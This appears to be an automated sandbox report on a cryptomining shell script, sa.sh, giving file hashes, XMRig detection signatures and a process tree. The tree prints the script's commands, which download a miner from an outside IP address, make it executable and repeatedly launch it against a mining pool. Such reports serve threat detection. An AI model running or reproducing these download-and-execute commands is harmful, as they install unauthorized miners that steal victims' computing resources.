Analysis

  • max time kernel
    146s
  • max time network
    14s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    29-12-2024 04:10

General

  • Target

    sa.sh

  • Size

    438B

  • MD5

    52f6ef322dd61383cc5f03bba971ecc1

  • SHA1

    a540ec9917e63a178aa44b3f3570a54ff8c88135

  • SHA256

    82d5f1b0b96907494a793d1cd838b2ea1b8fc7f7e758ae56bcc75d89ed6f3e97

  • SHA512

    c17b540e81ca673cfb39cedb1417bfebb0367d61f9f9315710713bc0167cfb953b2b0fdec2bad0435c4ac423e41935fac7fa76ceb288f07174273b9f32f1d938

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • Xmrig family
  • Xmrig_linux family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 27 IoCs
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads CPU attributes 1 TTPs 27 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/sa.sh
    /tmp/sa.sh
    1⤵
      PID:701
    • /usr/bin/nohup
      nohup bash /tmp/sa.sh nobg
      1⤵
        PID:704
      • /usr/local/sbin/bash
        bash /tmp/sa.sh nobg
        1⤵
          PID:704
        • /usr/local/bin/bash
          bash /tmp/sa.sh nobg
          1⤵
            PID:704
          • /usr/sbin/bash
            bash /tmp/sa.sh nobg
            1⤵
              PID:704
            • /usr/bin/bash
              bash /tmp/sa.sh nobg
              1⤵
                PID:704
              • /sbin/bash
                bash /tmp/sa.sh nobg
                1⤵
                  PID:704
                • /bin/bash
                  bash /tmp/sa.sh nobg
                  1⤵
                    PID:704
                    • /usr/bin/wget
                      wget http://81.28.10.96/xmrig --no-check-certificate -O xmrig
                      2⤵
                      • Writes file to tmp directory
                      PID:711
                    • /bin/chmod
                      chmod 777 xmrig
                      2⤵
                      • File and Directory Permissions Modification
                      PID:775
                    • /usr/bin/pgrep
                      pgrep -x xmrig
                      2⤵
                      • Reads CPU attributes
                      • Reads runtime system information
                      PID:776
                    • /tmp/xmrig
                      ./xmrig --url 193.232.178.53:80 -B
                      2⤵
                      • Executes dropped EXE
                      PID:777
                    • /bin/sleep
                      sleep 5
                      2⤵
                        PID:778
                      • /usr/bin/pgrep
                        pgrep -x xmrig
                        2⤵
                        • Reads CPU attributes
                        PID:810
                      • /bin/sleep
                        sleep 5
                        2⤵
                          PID:812
                        • /tmp/xmrig
                          ./xmrig --url 193.232.178.53:80 -B
                          2⤵
                          • Executes dropped EXE
                          PID:811
                        • /usr/bin/pgrep
                          pgrep -x xmrig
                          2⤵
                          • Reads CPU attributes
                          PID:814
                        • /bin/sleep
                          sleep 5
                          2⤵
                            PID:816
                          • /tmp/xmrig
                            ./xmrig --url 193.232.178.53:80 -B
                            2⤵
                            • Executes dropped EXE
                            PID:815
                          • /usr/bin/pgrep
                            pgrep -x xmrig
                            2⤵
                            • Reads CPU attributes
                            • Reads runtime system information
                            PID:818
                          • /bin/sleep
                            sleep 5
                            2⤵
                              PID:820
                            • /tmp/xmrig
                              ./xmrig --url 193.232.178.53:80 -B
                              2⤵
                              • Executes dropped EXE
                              PID:819
                            • /usr/bin/pgrep
                              pgrep -x xmrig
                              2⤵
                              • Reads CPU attributes
                              • Reads runtime system information
                              PID:825
                            • /bin/sleep
                              sleep 5
                              2⤵
                                PID:827
                              • /tmp/xmrig
                                ./xmrig --url 193.232.178.53:80 -B
                                2⤵
                                • Executes dropped EXE
                                PID:826
                              • /usr/bin/pgrep
                                pgrep -x xmrig
                                2⤵
                                • Reads CPU attributes
                                • Reads runtime system information
                                PID:829
                              • /bin/sleep
                                sleep 5
                                2⤵
                                  PID:831
                                • /tmp/xmrig
                                  ./xmrig --url 193.232.178.53:80 -B
                                  2⤵
                                  • Executes dropped EXE
                                  PID:830
                                • /usr/bin/pgrep
                                  pgrep -x xmrig
                                  2⤵
                                  • Reads CPU attributes
                                  • Reads runtime system information
                                  PID:833
                                • /bin/sleep
                                  sleep 5
                                  2⤵
                                    PID:835
                                  • /tmp/xmrig
                                    ./xmrig --url 193.232.178.53:80 -B
                                    2⤵
                                    • Executes dropped EXE
                                    PID:834
                                  • /usr/bin/pgrep
                                    pgrep -x xmrig
                                    2⤵
                                    • Reads CPU attributes
                                    • Reads runtime system information
                                    PID:837
                                  • /bin/sleep
                                    sleep 5
                                    2⤵
                                      PID:839
                                    • /tmp/xmrig
                                      ./xmrig --url 193.232.178.53:80 -B
                                      2⤵
                                      • Executes dropped EXE
                                      PID:838
                                    • /usr/bin/pgrep
                                      pgrep -x xmrig
                                      2⤵
                                      • Reads CPU attributes
                                      • Reads runtime system information
                                      PID:841
                                    • /bin/sleep
                                      sleep 5
                                      2⤵
                                        PID:843
                                      • /tmp/xmrig
                                        ./xmrig --url 193.232.178.53:80 -B
                                        2⤵
                                        • Executes dropped EXE
                                        PID:842
                                      • /usr/bin/pgrep
                                        pgrep -x xmrig
                                        2⤵
                                        • Reads CPU attributes
                                        • Reads runtime system information
                                        PID:845
                                      • /bin/sleep
                                        sleep 5
                                        2⤵
                                          PID:847
                                        • /tmp/xmrig
                                          ./xmrig --url 193.232.178.53:80 -B
                                          2⤵
                                          • Executes dropped EXE
                                          PID:846
                                        • /usr/bin/pgrep
                                          pgrep -x xmrig
                                          2⤵
                                          • Reads CPU attributes
                                          • Reads runtime system information
                                          PID:849
                                        • /bin/sleep
                                          sleep 5
                                          2⤵
                                            PID:851
                                          • /tmp/xmrig
                                            ./xmrig --url 193.232.178.53:80 -B
                                            2⤵
                                            • Executes dropped EXE
                                            PID:850
                                          • /usr/bin/pgrep
                                            pgrep -x xmrig
                                            2⤵
                                            • Reads CPU attributes
                                            • Reads runtime system information
                                            PID:853
                                          • /bin/sleep
                                            sleep 5
                                            2⤵
                                              PID:855
                                            • /tmp/xmrig
                                              ./xmrig --url 193.232.178.53:80 -B
                                              2⤵
                                              • Executes dropped EXE
                                              PID:854
                                            • /usr/bin/pgrep
                                              pgrep -x xmrig
                                              2⤵
                                              • Reads CPU attributes
                                              • Reads runtime system information
                                              PID:857
                                            • /bin/sleep
                                              sleep 5
                                              2⤵
                                                PID:859
                                              • /tmp/xmrig
                                                ./xmrig --url 193.232.178.53:80 -B
                                                2⤵
                                                • Executes dropped EXE
                                                PID:858
                                              • /usr/bin/pgrep
                                                pgrep -x xmrig
                                                2⤵
                                                • Reads CPU attributes
                                                PID:861
                                              • /bin/sleep
                                                sleep 5
                                                2⤵
                                                  PID:863
                                                • /tmp/xmrig
                                                  ./xmrig --url 193.232.178.53:80 -B
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:862
                                                • /usr/bin/pgrep
                                                  pgrep -x xmrig
                                                  2⤵
                                                  • Reads CPU attributes
                                                  • Reads runtime system information
                                                  PID:865
                                                • /bin/sleep
                                                  sleep 5
                                                  2⤵
                                                    PID:867
                                                  • /tmp/xmrig
                                                    ./xmrig --url 193.232.178.53:80 -B
                                                    2⤵
                                                    • Executes dropped EXE
                                                    PID:866
                                                  • /usr/bin/pgrep
                                                    pgrep -x xmrig
                                                    2⤵
                                                    • Reads CPU attributes
                                                    • Reads runtime system information
                                                    PID:869
                                                  • /bin/sleep
                                                    sleep 5
                                                    2⤵
                                                      PID:871
                                                    • /tmp/xmrig
                                                      ./xmrig --url 193.232.178.53:80 -B
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:870
                                                    • /usr/bin/pgrep
                                                      pgrep -x xmrig
                                                      2⤵
                                                      • Reads CPU attributes
                                                      • Reads runtime system information
                                                      PID:873
                                                    • /bin/sleep
                                                      sleep 5
                                                      2⤵
                                                        PID:875
                                                      • /tmp/xmrig
                                                        ./xmrig --url 193.232.178.53:80 -B
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:874
                                                      • /usr/bin/pgrep
                                                        pgrep -x xmrig
                                                        2⤵
                                                        • Reads CPU attributes
                                                        • Reads runtime system information
                                                        PID:877
                                                      • /bin/sleep
                                                        sleep 5
                                                        2⤵
                                                          PID:879
                                                        • /tmp/xmrig
                                                          ./xmrig --url 193.232.178.53:80 -B
                                                          2⤵
                                                          • Executes dropped EXE
                                                          PID:878
                                                        • /usr/bin/pgrep
                                                          pgrep -x xmrig
                                                          2⤵
                                                          • Reads CPU attributes
                                                          • Reads runtime system information
                                                          PID:881
                                                        • /bin/sleep
                                                          sleep 5
                                                          2⤵
                                                            PID:883
                                                          • /tmp/xmrig
                                                            ./xmrig --url 193.232.178.53:80 -B
                                                            2⤵
                                                            • Executes dropped EXE
                                                            PID:882
                                                          • /usr/bin/pgrep
                                                            pgrep -x xmrig
                                                            2⤵
                                                            • Reads CPU attributes
                                                            • Reads runtime system information
                                                            PID:885
                                                          • /bin/sleep
                                                            sleep 5
                                                            2⤵
                                                              PID:887
                                                            • /tmp/xmrig
                                                              ./xmrig --url 193.232.178.53:80 -B
                                                              2⤵
                                                              • Executes dropped EXE
                                                              PID:886
                                                            • /usr/bin/pgrep
                                                              pgrep -x xmrig
                                                              2⤵
                                                              • Reads CPU attributes
                                                              • Reads runtime system information
                                                              PID:889
                                                            • /bin/sleep
                                                              sleep 5
                                                              2⤵
                                                                PID:891
                                                              • /tmp/xmrig
                                                                ./xmrig --url 193.232.178.53:80 -B
                                                                2⤵
                                                                • Executes dropped EXE
                                                                PID:890
                                                              • /usr/bin/pgrep
                                                                pgrep -x xmrig
                                                                2⤵
                                                                • Reads CPU attributes
                                                                • Reads runtime system information
                                                                PID:893
                                                              • /bin/sleep
                                                                sleep 5
                                                                2⤵
                                                                  PID:895
                                                                • /tmp/xmrig
                                                                  ./xmrig --url 193.232.178.53:80 -B
                                                                  2⤵
                                                                  • Executes dropped EXE
                                                                  PID:894
                                                                • /usr/bin/pgrep
                                                                  pgrep -x xmrig
                                                                  2⤵
                                                                  • Reads CPU attributes
                                                                  • Reads runtime system information
                                                                  PID:897
                                                                • /bin/sleep
                                                                  sleep 5
                                                                  2⤵
                                                                    PID:899
                                                                  • /tmp/xmrig
                                                                    ./xmrig --url 193.232.178.53:80 -B
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    PID:898
                                                                  • /usr/bin/pgrep
                                                                    pgrep -x xmrig
                                                                    2⤵
                                                                    • Reads CPU attributes
                                                                    • Reads runtime system information
                                                                    PID:901
                                                                  • /bin/sleep
                                                                    sleep 5
                                                                    2⤵
                                                                      PID:903
                                                                    • /tmp/xmrig
                                                                      ./xmrig --url 193.232.178.53:80 -B
                                                                      2⤵
                                                                      • Executes dropped EXE
                                                                      PID:902
                                                                    • /usr/bin/pgrep
                                                                      pgrep -x xmrig
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:905
                                                                    • /bin/sleep
                                                                      sleep 5
                                                                      2⤵
                                                                        PID:907
                                                                      • /tmp/xmrig
                                                                        ./xmrig --url 193.232.178.53:80 -B
                                                                        2⤵
                                                                        • Executes dropped EXE
                                                                        PID:906
                                                                      • /usr/bin/pgrep
                                                                        pgrep -x xmrig
                                                                        2⤵
                                                                        • Reads CPU attributes
                                                                        • Reads runtime system information
                                                                        PID:909
                                                                      • /bin/sleep
                                                                        sleep 5
                                                                        2⤵
                                                                          PID:911
                                                                        • /tmp/xmrig
                                                                          ./xmrig --url 193.232.178.53:80 -B
                                                                          2⤵
                                                                          • Executes dropped EXE
                                                                          PID:910
                                                                        • /usr/bin/pgrep
                                                                          pgrep -x xmrig
                                                                          2⤵
                                                                          • Reads CPU attributes
                                                                          • Reads runtime system information
                                                                          PID:913
                                                                        • /bin/sleep
                                                                          sleep 5
                                                                          2⤵
                                                                            PID:915
                                                                          • /tmp/xmrig
                                                                            ./xmrig --url 193.232.178.53:80 -B
                                                                            2⤵
                                                                            • Executes dropped EXE
                                                                            PID:914

                                                                        Network

                                                                        MITRE ATT&CK Enterprise v15

                                                                        Replay Monitor

                                                                        Loading Replay Monitor...

                                                                        Downloads

                                                                        • /tmp/xmrig

                                                                          Filesize

                                                                          7.9MB

                                                                          MD5

                                                                          8f4fff0ded94f1141768220906abfbb8

                                                                          SHA1

                                                                          ea7c97294f415dc8713ac8c280b3123da62f6e56

                                                                          SHA256

                                                                          b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d

                                                                          SHA512

                                                                          0096072a1482f8e7999867baa3dd6e96d51591e9f7645c9ff276b53984957025c83e1fe52e5c4f55639eeed2bdbd80bbd57d7dacd84468ce09c834e39dfc4bee